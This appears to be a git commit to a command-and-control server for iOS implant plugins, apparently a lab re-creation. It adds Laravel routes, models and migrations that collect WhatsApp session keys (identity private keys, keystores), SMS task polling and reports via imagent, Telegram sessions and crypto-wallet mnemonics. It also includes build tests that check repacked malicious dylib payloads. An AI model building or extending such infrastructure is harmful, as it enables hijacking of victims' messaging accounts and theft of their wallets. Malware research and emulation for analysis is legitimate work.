feat: wap/sms
This commit is contained in:
@@ -238,6 +238,8 @@ class DeviceController extends Controller
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
|
||||
@@ -16,9 +16,11 @@ use Illuminate\Support\Facades\Storage;
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
|
||||
* /m/t/g /m/t/r imagent SMS poll / report (sms).
|
||||
*
|
||||
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||
* Plugin routes do not write channel_id (same as /api/tg/t).
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -58,6 +60,7 @@ class XxbbC2Controller extends Controller
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
@@ -194,6 +197,47 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */
|
||||
public function whatsapp(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWhatsAppAuth($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms: POST /m/t/g — poll outbound SMS tasks.
|
||||
* Lab never queues send tasks; code=1 + empty data matches native backoff.
|
||||
*/
|
||||
public function smsPoll(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestSmsHeartbeat($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
|
||||
}
|
||||
|
||||
/** sms: POST /m/t/r — task result / status. */
|
||||
public function smsReport(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
$this->ingest->ingestSmsTaskReport($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
@@ -202,7 +246,10 @@ class XxbbC2Controller extends Controller
|
||||
);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
/**
|
||||
* @param array<string, mixed>|null $body
|
||||
*/
|
||||
private function xxbbAck(Request $request, ?array $body = null): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
if ($ts === '') {
|
||||
@@ -211,7 +258,10 @@ class XxbbC2Controller extends Controller
|
||||
if ($ts === '') {
|
||||
$ts = (string) (int) round(microtime(true) * 1000);
|
||||
}
|
||||
$json = $body === null
|
||||
? '{}'
|
||||
: (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}');
|
||||
|
||||
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
|
||||
return response($ts.$json, 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,6 +95,16 @@ class Device extends Model
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
|
||||
public function pluginSessions(): HasMany
|
||||
{
|
||||
return $this->hasMany(PluginSession::class);
|
||||
}
|
||||
|
||||
public function smsReports(): HasMany
|
||||
{
|
||||
return $this->hasMany(SmsReport::class);
|
||||
}
|
||||
|
||||
public function beaconTasks(): HasMany
|
||||
{
|
||||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class PluginSession extends Model
|
||||
{
|
||||
public const KIND_TELEGRAM = 'telegram';
|
||||
|
||||
public const KIND_WHATSAPP = 'whatsapp';
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function kindLabel(): string
|
||||
{
|
||||
return match ($this->kind) {
|
||||
self::KIND_TELEGRAM => 'Telegram',
|
||||
self::KIND_WHATSAPP => 'WhatsApp',
|
||||
default => (string) $this->kind,
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class SmsReport extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'task_id', 'dest_phone', 'local_phone', 'msg', 'status', 'payload',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
+153
-17
@@ -9,6 +9,8 @@ use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\SmsReport;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -46,6 +48,8 @@ class IngestService
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
$candidates[] = $payload['deviceID'] ?? null;
|
||||
$candidates[] = $payload['deviceId'] ?? null;
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! empty($value) && is_string($value)) {
|
||||
@@ -191,7 +195,8 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
|
||||
* Own number from sms.js / old imagent. First write wins.
|
||||
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
|
||||
*/
|
||||
public function ingestDevicePhone(Device $device, ?array $payload): void
|
||||
{
|
||||
@@ -202,18 +207,48 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$phone = $payload['p'] ?? $payload['phone'] ?? null;
|
||||
if (! is_string($phone)) {
|
||||
return;
|
||||
}
|
||||
$phone = trim($phone);
|
||||
if ($phone === '') {
|
||||
$phone = $this->extractOwnPhone($payload);
|
||||
if ($phone === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
|
||||
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
|
||||
*/
|
||||
private function extractOwnPhone(array $payload): ?string
|
||||
{
|
||||
foreach (['p', 'phoneNumber'] as $key) {
|
||||
$phone = $this->scalarToString($payload[$key] ?? null);
|
||||
if ($phone !== null) {
|
||||
return $phone;
|
||||
}
|
||||
}
|
||||
|
||||
$cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null;
|
||||
if (is_array($cards)) {
|
||||
foreach ($cards as $card) {
|
||||
if (! is_array($card)) {
|
||||
continue;
|
||||
}
|
||||
$phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null);
|
||||
if ($phone !== null) {
|
||||
return $phone;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null;
|
||||
if (! $isTaskReport) {
|
||||
return $this->scalarToString($payload['phone'] ?? null);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function fillMissingAttribution(
|
||||
Device $device,
|
||||
Request $request,
|
||||
@@ -491,25 +526,91 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
|
||||
* Lab has no dedicated table; store as a keystore identity blob.
|
||||
* xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db).
|
||||
*/
|
||||
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
$this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
], ['user_id', 'userId']);
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore).
|
||||
*/
|
||||
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
|
||||
'userId', 'phoneId', 'registrationID',
|
||||
'identity', 'identityPrivateKey', 'identityPublicKey',
|
||||
'clientStaticKeypairBase64', 'phoneKeyStore',
|
||||
'deviceConfig', 'whatsappVersion',
|
||||
], ['userId', 'user_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
|
||||
*/
|
||||
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$this->ingestKeystore($device, $payload);
|
||||
$this->ingestDevicePhone($device, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
|
||||
*/
|
||||
public function ingestSmsTaskReport(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$this->ingestDevicePhone($device, $payload);
|
||||
|
||||
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
|
||||
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
|
||||
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
|
||||
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
|
||||
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
|
||||
if ($taskId === null && $dest === null && $msg === null && $status === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
SmsReport::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'task_id' => $taskId,
|
||||
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
|
||||
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
|
||||
'msg' => $msg,
|
||||
'status' => $status !== null ? substr($status, 0, 64) : null,
|
||||
'payload' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keepKeys
|
||||
* @param list<string> $accountKeys
|
||||
*/
|
||||
private function upsertPluginSession(
|
||||
Device $device,
|
||||
string $kind,
|
||||
?array $payload,
|
||||
array $keepKeys,
|
||||
array $accountKeys,
|
||||
): void {
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$payload = array_merge($payload['result'], $payload);
|
||||
}
|
||||
|
||||
$blob = [];
|
||||
foreach ([
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
] as $key) {
|
||||
foreach ($keepKeys as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$blob[$key] = $payload[$key];
|
||||
}
|
||||
@@ -517,8 +618,43 @@ class IngestService
|
||||
if ($blob === []) {
|
||||
return;
|
||||
}
|
||||
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
|
||||
$this->ingestKeystore($device, ['result' => $blob]);
|
||||
|
||||
$account = null;
|
||||
foreach ($accountKeys as $key) {
|
||||
$account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null);
|
||||
if ($account !== null) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
$phone = $kind === PluginSession::KIND_WHATSAPP
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
: null;
|
||||
|
||||
PluginSession::query()->updateOrCreate(
|
||||
[
|
||||
'device_id' => $device->id,
|
||||
'kind' => $kind,
|
||||
'account_id' => $account,
|
||||
],
|
||||
[
|
||||
'device_key' => $device->device_id,
|
||||
'phone' => $phone !== null ? substr($phone, 0, 64) : null,
|
||||
'payload' => $blob,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
private function scalarToString(mixed $value): ?string
|
||||
{
|
||||
if (is_int($value) || is_float($value)) {
|
||||
return (string) $value;
|
||||
}
|
||||
if (! is_string($value)) {
|
||||
return null;
|
||||
}
|
||||
$value = trim($value);
|
||||
|
||||
return $value !== '' ? $value : null;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -32,6 +32,10 @@ final class WalletSource
|
||||
'f' => 'BitKeep',
|
||||
's' => 'Solflare',
|
||||
'tg' => 'Telegram',
|
||||
'wp' => 'WhatsApp',
|
||||
'wa' => 'WhatsApp',
|
||||
'wap' => 'WhatsApp',
|
||||
'sms' => 'iMessage',
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
@@ -107,12 +111,15 @@ final class WalletSource
|
||||
'tonhub' => 'Tonhub',
|
||||
'bitpie' => 'Bitpie',
|
||||
'telegram' => 'Telegram',
|
||||
'whatsapp' => 'WhatsApp',
|
||||
];
|
||||
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */
|
||||
private const NON_MNEMONIC_BUNDLES = [
|
||||
'ph.telegra.Telegraph',
|
||||
'net.whatsapp.WhatsApp',
|
||||
'imagent',
|
||||
'com.apple.imagent',
|
||||
];
|
||||
|
||||
public static function fromTag(mixed $tag): string
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
|
||||
|
||||
编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。
|
||||
编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。
|
||||
|
||||
## 公共
|
||||
|
||||
@@ -40,5 +40,7 @@
|
||||
| `s19lib.js` | s | Solflare | `com.solflare.mobile` |
|
||||
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
|
||||
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
|
||||
| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` |
|
||||
| `sms.js` | sms | iMessage | `imagent` |
|
||||
|
||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。
|
||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -92,6 +92,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
|
||||
"nb",
|
||||
"a",
|
||||
"u",
|
||||
"m",
|
||||
"uj",
|
||||
"us",
|
||||
"ub",
|
||||
|
||||
@@ -129,6 +129,19 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
show = json.loads(show_plain.decode("utf-8"))
|
||||
self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core))
|
||||
self.assertEqual(show["core"]["size"], len(core))
|
||||
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
||||
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
|
||||
self.assertIn("imagent", by_bundle)
|
||||
self.assertTrue((details / "wap.js").is_file())
|
||||
self.assertTrue((details / "sms.js").is_file())
|
||||
for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")):
|
||||
member, plain = extract_member((details / name).read_bytes())
|
||||
self.assertTrue(member.endswith(".dylib"), member)
|
||||
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name)
|
||||
self.assertEqual(by_bundle[bundle]["size"], len(plain), name)
|
||||
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
|
||||
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
|
||||
self.assertIn(b"sharedReportingPool", plain)
|
||||
|
||||
seeds = json.loads((state / "lab_seeds.json").read_text())
|
||||
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
||||
@@ -319,6 +332,26 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertIn("route.js", landing)
|
||||
self.assertNotIn('src="index.js"', landing)
|
||||
|
||||
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
|
||||
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
|
||||
self.assertEqual(show_member, "data.bin")
|
||||
show = json.loads(show_plain.decode("utf-8"))
|
||||
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
||||
expected = {
|
||||
"net.whatsapp.WhatsApp": "wap.js",
|
||||
"imagent": "sms.js",
|
||||
}
|
||||
for bundle, name in expected.items():
|
||||
self.assertIn(bundle, by_bundle)
|
||||
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
|
||||
path = xxbb_build.SOURCE_DETAILS / name
|
||||
self.assertTrue(path.is_file(), name)
|
||||
member, plain = extract_member(path.read_bytes())
|
||||
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
|
||||
self.assertEqual(by_bundle[bundle]["size"], len(plain))
|
||||
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
|
||||
self.assertIn(b"https://%@", plain)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('plugin_sessions', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('device_key', 64)->index();
|
||||
$table->string('kind', 16)->index();
|
||||
$table->string('account_id', 128)->nullable()->index();
|
||||
$table->string('phone', 64)->nullable();
|
||||
$table->json('payload')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'kind', 'account_id']);
|
||||
});
|
||||
|
||||
Schema::create('sms_reports', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('device_key', 64)->index();
|
||||
$table->string('task_id', 128)->nullable()->index();
|
||||
$table->string('dest_phone', 64)->nullable();
|
||||
$table->string('local_phone', 64)->nullable();
|
||||
$table->text('msg')->nullable();
|
||||
$table->string('status', 64)->nullable();
|
||||
$table->json('payload')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
$this->backfillSessionsFromKeystores();
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('sms_reports');
|
||||
Schema::dropIfExists('plugin_sessions');
|
||||
}
|
||||
|
||||
private function backfillSessionsFromKeystores(): void
|
||||
{
|
||||
if (! Schema::hasTable('wallet_keystores')) {
|
||||
return;
|
||||
}
|
||||
|
||||
$rows = DB::table('wallet_keystores')
|
||||
->whereIn('source', ['Telegram', 'WhatsApp'])
|
||||
->orderBy('id')
|
||||
->get();
|
||||
$seen = [];
|
||||
foreach ($rows as $row) {
|
||||
$payload = json_decode((string) $row->raw_json, true);
|
||||
if (! is_array($payload)) {
|
||||
$payload = [];
|
||||
}
|
||||
$kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram';
|
||||
$account = $this->accountFromPayload($kind, $payload);
|
||||
$key = $row->device_id.'|'.$kind.'|'.$account;
|
||||
if (isset($seen[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$key] = true;
|
||||
$deviceKey = (string) (DB::table('devices')->where('id', $row->device_id)->value('device_id') ?? '');
|
||||
DB::table('plugin_sessions')->insert([
|
||||
'device_id' => $row->device_id,
|
||||
'device_key' => $deviceKey !== '' ? $deviceKey : (string) $row->device_id,
|
||||
'kind' => $kind,
|
||||
'account_id' => $account !== '' ? $account : null,
|
||||
'phone' => $this->phoneFromPayload($kind, $payload),
|
||||
'payload' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
|
||||
'created_at' => $row->created_at ?? now(),
|
||||
'updated_at' => $row->updated_at ?? now(),
|
||||
]);
|
||||
}
|
||||
|
||||
DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete();
|
||||
}
|
||||
|
||||
private function accountFromPayload(string $kind, array $payload): string
|
||||
{
|
||||
$keys = $kind === 'whatsapp'
|
||||
? ['userId', 'user_id', 'account_id']
|
||||
: ['user_id', 'userId', 'account_id'];
|
||||
foreach ($keys as $key) {
|
||||
if (isset($payload[$key]) && (is_string($payload[$key]) || is_int($payload[$key]))) {
|
||||
return substr(trim((string) $payload[$key]), 0, 128);
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
private function phoneFromPayload(string $kind, array $payload): ?string
|
||||
{
|
||||
if ($kind !== 'whatsapp') {
|
||||
return null;
|
||||
}
|
||||
foreach (['userId', 'phoneId', 'phone'] as $key) {
|
||||
if (isset($payload[$key]) && is_string($payload[$key]) && trim($payload[$key]) !== '') {
|
||||
return substr(trim($payload[$key]), 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
};
|
||||
@@ -32,4 +32,7 @@ Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $
|
||||
Route::post('/ub', [$xxbb, 'plugin']);
|
||||
Route::post('/ba', [$xxbb, 'plugin']);
|
||||
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
||||
Route::post('/api/wp/t', [$xxbb, 'whatsapp']);
|
||||
Route::post('/m/t/g', [$xxbb, 'smsPoll']);
|
||||
Route::post('/m/t/r', [$xxbb, 'smsReport']);
|
||||
});
|
||||
|
||||
@@ -12,6 +12,8 @@ use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\SmsReport;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -73,6 +75,20 @@ class DeviceDeleteTest extends TestCase
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => ['k' => 1],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => 'dev-del-1',
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => '123',
|
||||
'payload' => ['user_id' => '123'],
|
||||
]);
|
||||
SmsReport::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => 'dev-del-1',
|
||||
'task_id' => 't1',
|
||||
'dest_phone' => '+100',
|
||||
'payload' => ['task_id' => 't1'],
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
@@ -130,6 +146,8 @@ class DeviceDeleteTest extends TestCase
|
||||
$this->assertSame(0, WalletAddress::query()->count());
|
||||
$this->assertSame(0, WalletMnemonic::query()->count());
|
||||
$this->assertSame(0, WalletKeystore::query()->count());
|
||||
$this->assertSame(0, PluginSession::query()->count());
|
||||
$this->assertSame(0, SmsReport::query()->count());
|
||||
$this->assertSame(0, DsBeaconTask::query()->count());
|
||||
$this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count());
|
||||
$this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count());
|
||||
|
||||
@@ -7,6 +7,8 @@ use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\SmsReport;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -389,14 +391,135 @@ class XxbbC2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
|
||||
$this->assertSame('Telegram', $ks->source);
|
||||
$this->assertSame(0, (int) $ks->decrypted);
|
||||
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
|
||||
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
|
||||
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$row = PluginSession::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
|
||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||
$this->assertSame('123456789', $row->account_id);
|
||||
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $row->payload);
|
||||
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_wp_t_ingests_whatsapp_session(): void
|
||||
{
|
||||
$this->xxbbPost('/api/wp/t', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'd1' => '00008030-000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'a' => 'wp',
|
||||
'userId' => '15551234567',
|
||||
'phoneId' => 'phone-id-1',
|
||||
'registrationID' => 4242,
|
||||
'clientStaticKeypairBase64' => 'QUJD',
|
||||
'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []],
|
||||
'whatsappVersion' => '2.24.0',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$row = PluginSession::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
|
||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||
$this->assertSame('15551234567', $row->account_id);
|
||||
$this->assertSame('15551234567', $row->phone);
|
||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function event_stores_sms_phone_number(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'et' => 'sms_heartbeat',
|
||||
'phoneNumber' => '+15550004444',
|
||||
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']],
|
||||
])->assertOk();
